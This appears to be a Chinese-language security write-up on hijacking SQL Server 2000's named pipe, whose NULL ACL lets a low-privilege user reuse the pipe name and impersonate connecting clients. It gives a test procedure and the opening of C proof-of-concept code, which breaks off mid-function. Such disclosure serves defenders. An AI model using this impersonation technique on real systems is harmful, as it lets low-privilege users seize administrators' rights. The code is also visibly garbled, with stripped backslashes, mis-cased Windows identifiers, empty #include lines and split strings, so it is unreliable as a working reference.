SQL Server 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的:
默認實例:\.pipesqlquery
命名實例:\.pipeMSSQL$instancenamesqlquery
也可以通過1434 UDP進行查詢獲得這個管道名稱
但是由於SQL SERVER 2000對於這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然後再啟動服務來復用自己已經建立了名字的管道,但實際上SQL Server 2000會判斷是否已有同名管道,然後會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發現:如果ACL設置成NULL的話,即使是後命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然後自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
建立時的實例個數有關,如在我的測試下,\.pipesqlquery只需要建立1個接可以劫持了,而\.pipelsass則需要4-5個之後才能劫持。不過\.pipelsass的ACL只能是管理員才能進行劫持)
如果攻擊者復用了同名管道以後,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然後再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程,剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了:
下面就是一個簡單的例子,實現對SQL Server 2000管道通訊的劫持
環境:SQL Server 2000+SP2
WIN2000 SERVER中文版+SP3
測試流程:
1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的Windows本機帳戶,啟動SQL Server服務
2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
3。在另外一台機器B上,以添加的可以登陸SQL Server的服務器帳戶登陸,然後設置客戶端網絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
4。然後用SQL SERVER企業管理器建立一個SQL Server的連接,使用集成Windows驗證
5。SQL Server這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然後進行劫持,等待客戶端管道連接
6。在機器B上,連接SQL Server,然後主機A的程序就會截獲這個管道扮演高權限登陸用戶,然後可以打開先沒權限打開的文件。
當然這個攻擊本身實際的意義可能不大,因為估計現在SQL Server用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用後發復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。
SQL Server 2000劫持代碼
#include
#include
#include
#include
void main()
{
HANDLE pipea;
FILE * fp;
DWord ret;
DWord num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWord dwNumber = 0;
//先的測試,在GUEST權限下無法打開此文件
fp = fopen("C:\test.txt","w");
if(fp==NULL)
printf("now you don't open file;
");
//建立起一個同名管道,復用已存在的SQL Server的
pipea = CreateNamedPipe("\\.\pipe\sql\query",
PIPE_Access_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret